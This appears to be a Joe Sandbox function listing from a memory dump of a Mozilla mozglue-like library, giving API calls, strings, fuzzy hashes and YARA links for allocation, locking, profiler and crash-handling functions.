Instruction ID: 298714f61dcaf8340d150e5108cb3734292ae8fdebc9c09be1bbae8ce9459ab0
Opcode Fuzzy Hash: ae8c1c4aa4f5627fe729d6284e938991e374b3ced65b88ce2a870019a4f529a7
Instruction Fuzzy Hash: 5E31D872A001159BCB58CE78DD6146F7BA9FB863647340B2DE423EBBD4EB30D9148791

Function 6C60AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C61E330,?,6C5CC059), ref: 6C60AD9D

Part of subcall function 6C5BCA10: malloc.MOZGLUE(?), ref: 6C5BCA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C61E330,?,6C5CC059), ref: 6C60ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C61E330,?,6C5CC059), ref: 6C60AE01
GetLastError.KERNEL32(?,00000000,?,?,6C61E330,?,6C5CC059), ref: 6C60AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C61E330,?,6C5CC059), ref: 6C60AE3D

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: bd90c4d9d40508a33d2fa221abd3e9182c25b2d8f9c6cc278f2466702305c998
Instruction ID: 980a8026e768077b496859377dbc78bdc61d82841d51bbf210238037fef54601
Opcode Fuzzy Hash: bd90c4d9d40508a33d2fa221abd3e9182c25b2d8f9c6cc278f2466702305c998
Instruction Fuzzy Hash: 563182B1A002159FDB14DF798D44AABB7F8EF49660F15483DE84AE7701E734E805CBA8

Function 6C605EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C61DCA0,?,?,?,6C5DE8B5,00000000), ref: 6C605F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C5DE8B5,00000000), ref: 6C605F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C5DE8B5,00000000), ref: 6C605F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C5DE8B5,00000000), ref: 6C605F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C5DE8B5,00000000), ref: 6C605FD6

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: 4b5bf40d485bf47f4959bba8888fca314022499af2c53ea598304a17b11d3352
Instruction ID: bd21ee4c3a6a53e2151ce225b4ff387fd91c1c58f84c8595c3fa1cb1b9adebc2
Opcode Fuzzy Hash: 4b5bf40d485bf47f4959bba8888fca314022499af2c53ea598304a17b11d3352
Instruction Fuzzy Hash: F03117343006008FD714CF29C998A6ABBE5EF89318BA48958E5569B795CB39EC41CA88

Function 6C5AB4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C5AB532
moz_xmalloc.MOZGLUE(?), ref: 6C5AB55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C5AB56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C5AB57E
free.MOZGLUE(00000000), ref: 6C5AB58F

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 26c82cff55d224b855ead318601609220217c564d308f83e716aea7e01c42299
Instruction ID: 615f74b9e40e044e93b2782b79110fad6349ce3f82877c2fe91aebbf32c33f63
Opcode Fuzzy Hash: 26c82cff55d224b855ead318601609220217c564d308f83e716aea7e01c42299
Instruction Fuzzy Hash: D521DB71A001099BDB00DFA6CC40B6EBBB9FF86314F244129E914D7341F775D916C7A1

Function 6C5AB7A0 Relevance: 7.6, APIs: 5, Instructions: 77COMMON

Download Yara Rule

APIs

?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C5AB7CF
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C5AB808
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?), ref: 6C5AB82C
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C5AB840
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5AB849

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$?vprint@PrintfTarget@mozilla@@mallocmemcpy
String ID:
API String ID: 1977084945-0
Opcode ID: 5ccb9ff3876c7f6ddb087c4fd14673c0d5e78a09ecef7dcf192a0791c86f6b93
Instruction ID: 44f6ea9aa3b6b0ed744e977f3b043ce96f4f9c6e6e11de465efe0d2389698f9c
Opcode Fuzzy Hash: 5ccb9ff3876c7f6ddb087c4fd14673c0d5e78a09ecef7dcf192a0791c86f6b93
Instruction Fuzzy Hash: 7B212BB0E002099FDF04DFAAC8855BEBBB4EF49214F148129E946A7341E735A945CBE5

Function 6C606E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C606E78

Part of subcall function 6C606A10: InitializeCriticalSection.KERNEL32(6C62F618), ref: 6C606A68
Part of subcall function 6C606A10: GetCurrentProcess.KERNEL32 ref: 6C606A7D
Part of subcall function 6C606A10: GetCurrentProcess.KERNEL32 ref: 6C606AA1
Part of subcall function 6C606A10: EnterCriticalSection.KERNEL32(6C62F618), ref: 6C606AAE
Part of subcall function 6C606A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C606AE1
Part of subcall function 6C606A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C606B15
Part of subcall function 6C606A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C606B65
Part of subcall function 6C606A10: LeaveCriticalSection.KERNEL32(6C62F618,?,?), ref: 6C606B83

MozFormatCodeAddress.MOZGLUE ref: 6C606EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C606EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C606EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C606EFF

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 50d98cac459cfccf3c67f7a526e0e3f1d5ce9d81a6d58c0ffebf5efd701370ed
Instruction ID: 2960a748ebed22b2b26b84daa4be406dcfcf13ce8fc13f28adfc13edaaf1d4e0
Opcode Fuzzy Hash: 50d98cac459cfccf3c67f7a526e0e3f1d5ce9d81a6d58c0ffebf5efd701370ed
Instruction Fuzzy Hash: 1921B0B1A0421A8FCB14CF29D9C569E77F5EF84308F044039E809A7240EB349A998F96

Function 6C5E0D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C5A3DEF), ref: 6C5E0D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C5A3DEF), ref: 6C5E0D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C5A3DEF), ref: 6C5E0DAF

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C5E0D97, 6C5E0DBE
<jemalloc>, xrefs: 6C5E0D92, 6C5E0DB9

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 9897a67e32c292d9dd0389f8ff36613e324f03738bcd7d909ac20c2941b742be
Instruction ID: de3898b8ffebf8e652b2d2dd900d6d85fb15fefb494ee03f35de1a3f3ea6d7ad
Opcode Fuzzy Hash: 9897a67e32c292d9dd0389f8ff36613e324f03738bcd7d909ac20c2941b742be
Instruction Fuzzy Hash: 0BF0893178439423E72016665D0AB6A266DE7C6B65F344037F205DADC4DF98E800ABAD

Function 6C605850 Relevance: 7.5, APIs: 5, Instructions: 41synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(000000FF), ref: 6C60586C
CloseHandle.KERNEL32 ref: 6C605878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C605898
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C6058C9
free.MOZGLUE(00000000), ref: 6C6058D3

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$CloseHandleObjectSingleWait
String ID:
API String ID: 1910681409-0
Opcode ID: f00e64a3e1a27758e7b5555604610bb5e99ec19e1add245ea34d7eec78d3cae8
Instruction ID: a91781077a846e528fc7ac4c51e302180126b6901843f745e1d058c11bf6d16c
Opcode Fuzzy Hash: f00e64a3e1a27758e7b5555604610bb5e99ec19e1add245ea34d7eec78d3cae8
Instruction Fuzzy Hash: CB014F717041219BDF00DF17D9886467BB8FBA3329F244276E91AF2210D73998158F8F

Function 6C5F7620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C5F75C4,?), ref: 6C5F762B

Part of subcall function 6C5BCA10: malloc.MOZGLUE(?), ref: 6C5BCA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C5F74D7,6C6015FC,?,?,?), ref: 6C5F7644
GetCurrentThreadId.KERNEL32 ref: 6C5F765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C5F74D7,6C6015FC,?,?,?), ref: 6C5F7663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C5F74D7,6C6015FC,?,?,?), ref: 6C5F7677

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: ac16d4d0d6f9beeaa3fbb56f12024aa09f9e55a9f530c3f4243e569b2ec277cb
Instruction ID: 1c75419332ee999be94102c42528ea51201a85dfbaf45b127cfcdbc58560bc9d
Opcode Fuzzy Hash: ac16d4d0d6f9beeaa3fbb56f12024aa09f9e55a9f530c3f4243e569b2ec277cb
Instruction Fuzzy Hash: B3F0C271E10745ABD7008F22C888676B778FFEB299F214316F94553601E7B4B5D18BD1

Function 6C601700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C601800

Part of subcall function 6C5DCBE8: GetCurrentProcess.KERNEL32(?,6C5A31A7), ref: 6C5DCBF1
Part of subcall function 6C5DCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5A31A7), ref: 6C5DCBFA

Part of subcall function 6C5A4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C5E3EBD,6C5E3EBD,00000000), ref: 6C5A42A9

Strings

{marker.name} - {marker.data.name}, xrefs: 6C6018C7
name, xrefs: 6C601939
Details, xrefs: 6C601925

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: ee621985bec3eba2394d70bdb328da6edcd1836bdf1ad847051889a16cf7c6c7
Instruction ID: f877cb7043d3cdd284f342d1dd8ca80b5f7a95a41425fae7a381bb6044758125
Opcode Fuzzy Hash: ee621985bec3eba2394d70bdb328da6edcd1836bdf1ad847051889a16cf7c6c7
Instruction Fuzzy Hash: 4F71FF70A00706DFCB08DF69C58079ABBB2FF85304F40466DD8155BB41DB74AAA9CBE6

Function 6C5CD468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C5DCBE8: GetCurrentProcess.KERNEL32(?,6C5A31A7), ref: 6C5DCBF1
Part of subcall function 6C5DCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5A31A7), ref: 6C5DCBFA

EnterCriticalSection.KERNEL32(6C62E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C5DD1C5), ref: 6C5CD4F2
LeaveCriticalSection.KERNEL32(6C62E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C5DD1C5), ref: 6C5CD50B

Part of subcall function 6C5ACFE0: EnterCriticalSection.KERNEL32(6C62E784), ref: 6C5ACFF6
Part of subcall function 6C5ACFE0: LeaveCriticalSection.KERNEL32(6C62E784), ref: 6C5AD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C5DD1C5), ref: 6C5CD52E
EnterCriticalSection.KERNEL32(6C62E7DC), ref: 6C5CD690
LeaveCriticalSection.KERNEL32(6C62E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C5DD1C5), ref: 6C5CD751

Strings

MOZ_CRASH(), xrefs: 6C5CD4BB

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 01c8af8999fa44f848580e7a7b5695c36d775f1fb278ff12e4fb0165670c9d1c
Instruction ID: 6073f7b52de7276c14624d6453a21e25677ccea06243d0b83af71556857c1beb
Opcode Fuzzy Hash: 01c8af8999fa44f848580e7a7b5695c36d775f1fb278ff12e4fb0165670c9d1c
Instruction Fuzzy Hash: D651FF71B047018FD314CF69C99471AB7F1EB89304F558A2ED9AAC7B84D774E840CB86

Function 6C5F4630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C5F4721

Strings

., xrefs: 6C5F476A
profiler-paused, xrefs: 6C5F46E4
-%llu, xrefs: 6C5F4733

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: 02d2431436505ea390332891be45be20aafe35a8cb4bc334b1bae0802a016e4a
Instruction ID: fb0346b79a0459fbead43eeb43d10f9d903501105c760a2504206c716e89d68f
Opcode Fuzzy Hash: 02d2431436505ea390332891be45be20aafe35a8cb4bc334b1bae0802a016e4a
Instruction Fuzzy Hash: 22414871A047089BCB08DF7DDD9115EBBF5EF85344F10863EE865A7B41EB3498068B46

Function 6C619830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C61985D
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C61987D
MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6C6198DE

Strings

ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6C6198D9

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Printf$Target@mozilla@@$?vprint@Crash
String ID: ElementAt(aIndex = %zu, aLength = %zu)
API String ID: 1778083764-3290996778
Opcode ID: 09491b076a8cc46b63939a1ec01e39ea47a57ea8e263522ba440afb22f343c8c
Instruction ID: 6850bd30f4138290602dd65e37943c8c2c363c6bcf4751beb6bc4d4bfeae03df
Opcode Fuzzy Hash: 09491b076a8cc46b63939a1ec01e39ea47a57ea8e263522ba440afb22f343c8c
Instruction Fuzzy Hash: EF313571B002089BDB04AF5DDC409EF77B9DF85318F50842DEA1A9BB40CB35AD058BE9

Function 6C5F46E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C5F4721

Part of subcall function 6C5A4410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C5E3EBD,00000017,?,00000000,?,6C5E3EBD,?,?,6C5A42D2), ref: 6C5A4444

Strings

., xrefs: 6C5F476A
profiler-paused, xrefs: 6C5F46E4
-%llu, xrefs: 6C5F4733

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 378382522e1ec86daa7a7dca2baba677621098ee0109571fd7a527e36f43e025
Instruction ID: bd26a1c4ab554642d0468cab29256e0184eeef609df12e389fb0870c63421e3d
Opcode Fuzzy Hash: 378382522e1ec86daa7a7dca2baba677621098ee0109571fd7a527e36f43e025
Instruction Fuzzy Hash: 13311471F052088BCB0CDF6DDC8129EBBE69B88314F15853EE9159BB41EB7499068B94

Function 6C5FB410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5A4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C5E3EBD,6C5E3EBD,00000000), ref: 6C5A42A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C5FB127), ref: 6C5FB463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5FB4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C5FB4E4

Strings

pid:, xrefs: 6C5FB4DE

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 4d883a7927769a94d0ee5f79526be02d1108bcdbba14c08db3a1fe8a43189b6b
Instruction ID: 8210f7f9c2f7351a1b93f7acc946bda6fccc1073beab081611a6374596c80917
Opcode Fuzzy Hash: 4d883a7927769a94d0ee5f79526be02d1108bcdbba14c08db3a1fe8a43189b6b
Instruction Fuzzy Hash: 8C311531A01204DBDB04EFA9DD84ADEB7B6FF44308F540529D86167A41E736E94ACFA1

Function 6C5BBF00 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

??0ios_base@std@@IAE@XZ.MSVCP140(?,?,?,?,6C607A3F), ref: 6C5BBF11
?init@?$basic_ios@DU?$char_traits@D@std@@@std@@IAEXPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@_N@Z.MSVCP140(?,00000000,?,6C607A3F), ref: 6C5BBF5D
??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140(?,6C607A3F), ref: 6C5BBF7E

Strings

al, xrefs: 6C5BBF84

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_streambuf@??0ios_base@std@@?init@?$basic_ios@D@std@@@2@_V?$basic_streambuf@
String ID: al
API String ID: 4279176481-2896146561
Opcode ID: 665267fbbb3a0f8aaa118a07b8066ef0d2ff51ae6b5cd9ba8d8aa8a659180eeb
Instruction ID: 2ff5de2da75b32c2eec15e6996a983c58d4ec4853b527f8414639407750b1d52
Opcode Fuzzy Hash: 665267fbbb3a0f8aaa118a07b8066ef0d2ff51ae6b5cd9ba8d8aa8a659180eeb
Instruction Fuzzy Hash: F911C0793046048FC729CF1CD599966FBF8FF5930A355885DE98A8BB50C731E800CB94

Function 6C5EE550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5EE577
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EE584
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EE5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C5EE8A6

Strings

MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C5EE826, 6C5EE850
